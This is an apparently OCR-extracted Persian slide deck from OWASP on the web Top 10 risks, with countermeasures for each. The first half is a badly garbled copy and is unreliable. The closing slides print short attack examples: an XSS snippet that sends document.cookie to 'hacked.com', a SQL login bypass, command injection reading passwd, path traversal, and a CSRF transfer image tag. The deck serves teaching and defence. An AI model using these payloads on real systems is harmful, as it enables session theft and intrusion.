صفحه 1:
عباس نادری
bbus Darkert (des BtrwX)
اعنباران انفورماتیک
abiusx@etebaran.com
abiusx@jframework.info
abiusx@owasp.org
The OWASP
OWASP
10/1/2009
۱۳۸۹/۷/9
صفحه 2:
امنیت دنیای وب
5 el gw
صفحه 3:
خطر در 9
le
do اصلی
Cross Site Scripting (XSS)
Injection Flaws
علناعما عاأع عغأمدمعظ. عريععكما
Insecure Direct Object Reference
6۲۵55 5۲6 60۵۲ ۴۵۲9۵۲۷ )65۴۴(
Information Leakage and Improper Error Handling
Tee Um Clade lle Tomer Cul ld
Insecure Cryptographic Storage
تس لیا ایتک یات تیا
el ee Colt) تست وال یا
صفحه 4:
Gite Grripticacy (xGG) ل
ات ۳
بیش از 1۲۰ سایتها آسیب پذی 53
مقابله با آن جات مَشکل است
هرروزه روشهای جدید فراوانی کشف می شوند
جایگزینهای معمول برای کاربران سختیهایی دارند
میتوانند به صورت کرم منتشر شوند
صفحه 5:
0. Cross. Gite Grripiry CGC)
روشهای مقابله:
* کتابخانههای بسیار پیچیده, سنگین و /کند
* کتابخانهها نیز ۱۰۰/ مصون نیستند
—_— تحريم امکان استفاده از قالببندی ٠
(BBCode) استفاده از سیستمهای جایگزین ٠
همگامی با دنیای امنیت اطلاعات *
صفحه 6:
eS. 11 (an Fg
تزریقات
0001 reer anne:
FO) cbs gl RS Eg borne coer
CPP eye ا
معمولترين دليل هى شدتن و رشوج به سايتها
ل ا كل را سا
مقابله با أن ۱
00 ا ار
صفحه 7:
روشهای مقابله:
٠ استفاده از واسطهای امن برای دیستوّرات يؤيا
sl PreparedStatements jl oolaiwl °
SQL =
٠ عدم استفاده از ۴56۵0109 به عنوان تنها راه
* بررسی ورودی
* بررسی ليست سفیدی ورودیها
صفحه 8:
2 دا Pile Tachide
تزریق کد مخرب
احتياج به آكاهى از روش كار
معمولا-توسطجتوتتتغةكاقددكان رعايت نمى شود
3 توسط تیمات بستری قابل
بسيار بسيار مخرب و خطرّناك"در صورت وجود و كشف
eee TO eet ted
صفحه 9:
9. Iesecure Qewvte Pile على !حا"
روشهای مقابله:
٠» عدم استفاده از کدفایل متغیر رم
* بررسی کامل و بسیار دقیق متغیر در آذرس کد
* تبیین دقیق قوانین استفاده :
صفحه 10:
4. Insecure Direct Object
XT a=)
owl ل
9
Roe Ce ا ا rae
و
* بسيار زمانكير و دشوار جه تكشتف براى نفوذكران
صفحه 11:
4. Insecure Direct Object
Reference
روشهای مقابله:
* تعیین دقیق معماری سیستم و پیروی از آن
° مشخص کردن لایه تعیین دسترسی به همه
چیز =
٠ پیادهسازی صحیح روشها و پیروی از معماری
صفحه 12:
5.Cross Site Request Forgery
(CSRF)
۳ eae
عدم علم توسعهدهندگان
عدم .درک.صحتتحتوتتت333 هندگان
بسیار ساده و قابل انجام
مى تواند به غايت حساس و-خطرناك باشد يا نه
كاربرى معمول به سادكى برطرف مى شود
موارد پیچبه» احتباج به پردازش خروجی دارند
صفحه 13:
5.Cross Site Request Forgery
(CSRF)
روشهای مقابله:
* عدم استفاده از 0۴۲ برای فرآیندها
* جفتگیری تصادفی در کلاینت و سرور
نااتوماتیک
9 قرم ورود به سيستم مجدد در فرآبند 29557
255 جلوگیری از ٠
صفحه 14:
6. Information Leakage and
Improper Error Handling
نشت اطلاعات و نقص مدیریت خطا we)
قدم اول انواع نفوذ
تقریبا,تمام,سیستتجها تیب پذیرند
اهمیت آن معمولا درنظر گرفته نمیشود
ارفك Stack Traceb pw 3! JolS Lund 05
0 1. 4 Ay
روش هَاى متقابله دستى بسيار كند و هزيتهبر
صفحه 15:
6. Information Leakage and
Improper Error Handling
روشهای مقابله:
٠ عدم ارائه خطا و ارور در سیستمعملیاتی
* تهیه گزارش کامل از همه عملکردهای ثبنیستم
* تماس با مدير و امنيت از طریق ایمیل یاب
SMS
رائه
* استفاده از سیستمهای اتوماتیک و تنظیم سكو
صفحه 16:
7. Broken Authentication and
Session Management
سبح : سستض
سار ند راتس ند
احتیاج به بازنگزی دام و فراوان
نقص در روشهاى احراز هويت غيراستاندارد
ات Nea ee BCS a
صفحه 17:
7. Broken Authentication and
Session Management
روشهای مقابله:
٠ استفاده از یک محور احرازهویت م
٠ ایجاد نشستهای مستقل پساز احراز هویت
٠ خروج از سیستم کارا و تخلیه PE el
* عدم ارائة اطلاعات تشستى و حساس)
© -استفاده أن سيستعهاى بال
٠ تست و بررسى كد به صورت كامل
صفحه 18:
8. Insecure Cryptographic
Storage
استفاده تادرست از رمزنگاری
ee ee ا
۳ SCs Oui wajccursny eoeereel
تكيه كامل بر رمزنكارى ناصحيح
نفوذكران معدودى دانش رمتزنكارى كافى دارند
صفحه 19:
8. Insecure Cryptographic Storage
روشهای مقابله:
* بررسی کد (تست پاسخگو نیست (م
عدم استفاده از الگوریتمهای دستی
آموزش استفاده صحیح از الگوریتمهای —
قدرتمند
عدم استفاده از الگوریتمهای منسوخ (ماتَة
(mp5
عدم استفاده از 000109 ۲۵۲۵
صفحه 20:
9. Insecure Communications
3 a
هزينهبر و احتياج به صرف اعد *
۳
5 ال 0
* راهاندازی مور رودا | 7
صفحه 21:
9. Insecure Communications
روشهای مقابله:
٠ استفاده از ا55 در تمام ارتباطاتيرهويت دان
٠ استفاده از ا55 در تمام فرايندهاى حساس
۴ استفاده از گواهینامه معتبر ا55 سس
* استفاده از نسخه معتبرا5ه, نسخه ۲ يا ۲15"
٠ منطق عدم ارائه اطلاعات حساس در ارتباط
ناامن توسط برنامه کنترل شود
صفحه 22:
10. Failure to Restrict URL
Access
ناتوآنی در نود کردن دسترسی
متدولوژی غلط 7انستدط Secusitysby
ار رت
کنترل دسترسی ناصحیح (مثلا بر روی گلاینت)
WEIS ee IE NY ل ل لك
صفحه 23:
10. Failure to Restrict URL Access
روشهای مقابله:
* استفاده از روشهای استاندارد و کلرا (58۳8۸0)
* اعمال اتوماتیک مکانیزم کنترل دسترسی
* بررسی کد کامل و معماری کارآمد سس
٠ عدم استفاده از آدرسهای مخفی
صفحه 24:
جند راهبرد عملى
ا للا
صفحه 25:
Cross Site Scripting (XSS)
echo $ REQUEST['userinput'];
Reflected, Stored and DOM types
docoment.write('<form name='fl'
action="'hacked.com"'>
<input name="sessionID" value="
'+document.cookie+' "' /></form>');
document.forms.fl.submit();
صفحه 26:
SQL Injection
$sql = "SELECT * FROM table WHERE
id='". $ GET['id'] . ۱ ۰
Text fields, Number Fields!!!
Server Code:
$R=mysql_query(""SELECT * FROM users WHERE
Username= a AND
Password='{$Pass}' "')
if ($R) echo "' You ی in successfully! "';
Attack: username: foo password: 1 0, '1'-'"1
Manipulated SQL: SELECT * FROM users WHERE
Username='1' AND Password='1' or '1'='1'
صفحه 27:
Command Injection
Server Code:
Exec ("mail '".$UserData);
UserData:
"hi; cat passwd; "'
لیست کلمات عبور به همراه متن نامه, به
نفوذگر ایمیل می شوند.
صفحه 28:
Malicious File Execute
Include direname(_FILE_)."'/request_handlers/".$R;
به صورت پویا درخواست کاربر را پاسخ
. . . می پیم
User Request:
../../passwd
باعث میشود فایل رمزهای عبور به جای فایل
نمايش داده شود. oS
صفحه 29:
Insecure, Direct Object Reference
<select name="language"><option
value="ir">Farsi</option></select>
Include
($_GET['language’]."lang.php");
<select name="language"><option
value="29871268398721">Farsi</o
ption></select>
Use Salts to prevent Brute-Force!
صفحه 30:
Cross Site Request Forgery (CSRF)
<img
src="http://www.example.com/transf
er.do?
frmAcct=document.form.frmAcct
&toAcct=4345 754&toSWIFTid=4343
43&amt=3434.43">
صفحه 31:
Insecure Cryptographic Storage
$pass=md5($_GET['pass']); // unsafe!
www.passcracking.com
استفاده صحیح(۱) از الگوریتمهای صحیح (۲)
$pass=hash( "sha-512" ,
$_GETI['pass'].strtolower($_GET['user']));
صفحه 32:
۱۳ ۳ rer for
Wwww.owasp.org : glio
امنیت نرمافزارهای
وب
OWASP
10/1/2009
۱۳۸۸/۷/9
عباس نادری
Abbas Naderi (aka AbiusX)
اعتباران انفورماتیک
abiusx@etebaran.com
abiusx@jframework.info
abiusx@owasp.org
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this
document under the terms of the OWASP License.
)(عج
تقديم به پيشگاه مقدس امام عصر
The OWASP
http://www.owasp.org
Foundation
امنیت دنیای وب
سهل انگاری در اوج اهمیت
OWASP TOP
10
۱۰ خطر
اصلی
Cross Site Scripting (XSS)
Injection Flaws
Insecure Remote File Include
Insecure Direct Object Reference
Cross Site Request Forgery (CSRF)
Information Leakage and Improper Error Handling
Broken Authentication and Session Management
Insecure Cryptographic Storage
Insecure Communications
Failure to Restrict URL Access
)1.Cross Site Scripting (XSS
اسکریپت نویسی مابین سایتی
•
•
•
•
•
بیش از ٪۲۰سایتها آسیب پذیرند
مقابله با آن به غایت مشکل است
هرروزه روشهای جدید فراوانی کشف می شوند
جایگزینهای معمول برای کاربران سختیهایی دارند
میتوانند به صورت کرم منتشر شوند
)1. Cross Site Scripting (XSS
روشهای Qمقابله:
• کتابخانههای بسیار پیچیده ،سنگین و کند
• کتابخانهها نیز ٪۱۰۰مصون نیستند
• تحریم امکان استفاده از قالببندی
• استفاده از سیستمهای جایگزین ()BBCode
• همگامی با دنیای امنیت اطالعات
• 2. Injection Flaws
تزریقات
•
•
•
•
•
•
•
حدود ٪۱۵سایتها آسیبپذیر
آسیبپذیری بسیار محلک و اعمال آن ساده است
در دو دسته آگاهانه و کور انجام میگیرد
معمولترین دلیل هک شدن و رسوخ به سایتها
عالرقم معروفی بسیار ،توسعهدهندگان بیخبرند
مقابله با آن معموال ناقص انجام میگیرد
در صورت شناخت کافی ،مقابله بسیار آسان است
2. Injection Flaws
روشهای Qمقابله:
• استفاده از واسطهای امن برای دستورات پویا
• استفاده از PreparedStatementsبرای
SQL
• عدم استفاده از Escapingبه عنوان تنها راه
• بررسی ورودی
• بررسی لیست سفیدی ورودیها
3. Insecure Remote File Include
تزریق کد مخرب
•
•
•
•
•
احتیاج به آگاهی از روش کار
معموال توسط توسعهدهندگان رعایت نمیشود
توسط تنظیمات بستری قابل رفع
بسیار بسیار مخرب و خطرناک در صورت وجود و کشف
امکان انجام انواع حمالت بدون متوجه شدن سیستم
3. Insecure Remote File Include
روشهای Qمقابله:
• عدم استفاده از کدفایل متغیر
• بررسی کامل و بسیار دقیق متغیر در آدرس کد
• تبیین دقیق قوانین استفاده
• تنظیمات سکوی اجرا
4. Insecure Direct Object
Reference
ارائه اطالعات ناخواسته
• عدم آگاهی توسعهدهندگان
• پیچیدگی یافت و جلوگیری
• پیشآمدن قطعی در سیستمهای پیچیده
• بسیار زمانگیر و دشوار جهت کشف برای نفوذگران
4. Insecure Direct Object
Reference
روشهای Qمقابله:
• تعیین دقیق معماری سیستم و پیروی از آن
• مشخص کردن الیه تعیین دسترسی به همه
چیز
• پیادهسازی صحیح روشها و پیروی از معماری
5.Cross Site Request Forgery
)(CSRF
جعل درخواست بین سایتی
•
•
•
•
•
•
عدم علم توسعهدهندگان
عدم درک صحیح توسعهدهندگان
بسیار ساده و قابل انجام
میتواند به غایت حساس و خطرناک باشد یا نه
کاربری معمول به سادگی برطرف میشود
موارد پیچیده احتیاج به پردازش خروجی دارند
5.Cross Site Request Forgery
)(CSRF
روشهای Qمقابله:
• عدم استفاده از GETبرای فرآیندها
• جفتگیری تصادفی در کالینت و سرور
نااتوماتیک
• فرم ورود به سیستم مجدد در فرآیند حساس
• جلوگیری از XSS
6. Information Leakage and
Improper Error Handling
نشت اطالعات و نقص مدیریت خطا
•
•
•
•
•
•
قدم اول انواع نفوذ
تقریبا تمام سیستمها آسیب پذیرند
اهمیت آن معموال درنظر گرفته نمیشود
آگاهی نسبتا کامل از سیستم با Stack Traceیا SQL
روشهای مقابله اتوماتیک ناکارآمد
روشهای مقابله دستی بسیار کند و هزینهبر
6. Information Leakage and
Improper Error Handling
روشهای Qمقابله:
• عدم ارائه خطا و ارور در سیستم عملیاتی
• تهیه گزارش کامل از همه عملکردهای سیستم
• تماس با مدیر و امنیت از طریق ایمیل یا
SMS
• بررسی دقیق و تست کامل محصول قبلاز
ارائه
• استفاده از سیستمهای اتوماتیک و تنظیم سکو
7. Broken Authentication and
Session Management
احراز هویت و مدیریت نشست ناکارا
•
•
•
•
بسیار بد و آسیب زننده
احتیاج به بازنگری دائم و فراوان
نقص در روشهای احراز هویت غیراستاندارد
پیادهسازی دشوار و حساس در سیستمهای بزرگ
7. Broken Authentication and
Session Management
روشهای Qمقابله:
• استفاده از یک محور احرازهویت
• ایجاد نشستهای مستقل پساز احراز هویت
• خروج از سیستم کارا و تخلیه اطالعات
• عدم ارائه اطالعات نشستی و حساس
• استفاده از سیستمهای بالغ
• تست و بررسی کد به صورت کامل
8. Insecure Cryptographic
Storage
استفاده نادرست از رمزنگاری
•
•
•
•
•
بسیار معمول و خطرناک
اکثر توسعهدهندگان و تیم آنها دانش رمزنگاری ندارند
تکیه کامل بر رمزنگاری ناصحیح
نفوذگران معدودی دانش رمزنگاری کافی دارند
8. Insecure Cryptographic Storage
روشهای Qمقابله:
• بررسی کد (تست پاسخگو نیست(
• عدم استفاده از الگوریتمهای دستی
• آموزش استفاده صحیح از الگوریتمهای
قدرتمند
• عدم استفاده از الگوریتمهای منسوخ (مانند
)MD5
• عدم استفاده از Hard Coding
9. Insecure Communications
ارتباطات ناامن
•
•
•
•
•
هزینهبر و احتیاج به صرف اعتبار جهت کسب اعتبار
بار بیشتر بر روی سرورها و کالینتها (نامطلوب)
عدم درک صحیح از عمق مسئله
راهاندازی دشوار بر سرور
آموزش دشوار در کالینت
9. Insecure Communications
روشهای Qمقابله:
• استفاده از SSLدر تمام ارتباطات هویتدار
• استفاده از SSLدر تمام فرآیندهای حساس
• استفاده از گواهینامه معتبر SSL
• استفاده از نسخه معتبر ،SSLنسخه ۳یا TLS
• منطق عدم ارائه اطالعات حساس در ارتباط
ناامن توسط برنامه کنترل شود
10. Failure to Restrict URL
Access
ناتوانی در محدود کردن دسترسی
•
•
•
•
متدولوژی غلط Security by Obscurity
عدم استفاده از کنترل دسترسی محوری
کنترل دسترسی ناصحیح (مثال بر روی کالینت)
دشواری پیادهسازی و استفاده از روشهای استاندارد
10. Failure to Restrict URL Access
روشهای Qمقابله:
• اس•تفاده از روشهای استاندارد و کارا ()RBAC
• اعمال اتوماتیک مکانیزم کنترل دسترسی
• بررسی کد کامل و معماری کارآمد
• عدم استفاده از آدرسهای مخفی
چند راهبرد عملی
پیادهروی در اعماق باتالق!
Cross Site Scripting (XSS)
echo $_REQUEST['userinput'];
Reflected, Stored and DOM types
docoment.write('<form name='f1'
action=''hacked.com''>
<input name=''sessionID'' value=''
'+document.cookie+' '' /></form>');
document.forms.f1.submit();
SQL Injection
$sql = "SELECT * FROM table WHERE
id = ' " . $_GET['id'] . " ' ";
Text fields, Number Fields!!!
Server Code:
$R=mysql_query(''SELECT * FROM users WHERE
Username='{$Username}' AND
Password='{$Pass}' '');
if ($R) echo '' You logged in successfully! '';
Attack: username: foo
password: 1' or '1'='1
Manipulated SQL: SELECT * FROM users WHERE
Username='1' AND Password='1' or '1'='1'
Command Injection
Server Code:
Exec (''mail ''.$UserData);
UserData:
'' hi; cat passwd; ''
به،لیست کلمات عبور به همراه متن نامه
.نفوذگر ایمیل می شوند
Malicious File Execute
;Include direname(__FILE__).''/request_handlers/''.$R
به صورت پویا درخواست کاربر را پاسخ
میگوییم...
User Request:
../../passwd
باعث میشود فایل رمزهای عبور به جای فایل
کد نمایش داده شود.
Insecure Direct Object Reference
<select name="language"><option
value="ir">Farsi</option></select>
...
Include
($_GET['language']."lang.php");
...
<select name="language"><option
value="29871268398721">Farsi</o
ption></select>
Use Salts to prevent Brute-Force!
Cross Site Request Forgery (CSRF)
<img
src="http://www.example.com/transf
er.do?
frmAcct=document.form.frmAcct
&toAcct=4345754&toSWIFTid=4343
43&amt=3434.43">
Insecure Cryptographic Storage
$pass=md5($_GET['pass']); // unsafe!
www.passcracking.com
)۲( ) از الگوریتمهای صحیح۱(استفاده صحیح
$pass=hash( ''sha-512'' ,
$_GET['pass'].strtolower($_GET['user']));
سواالت ،پیشنهادات؟
منابع www.owasp.org :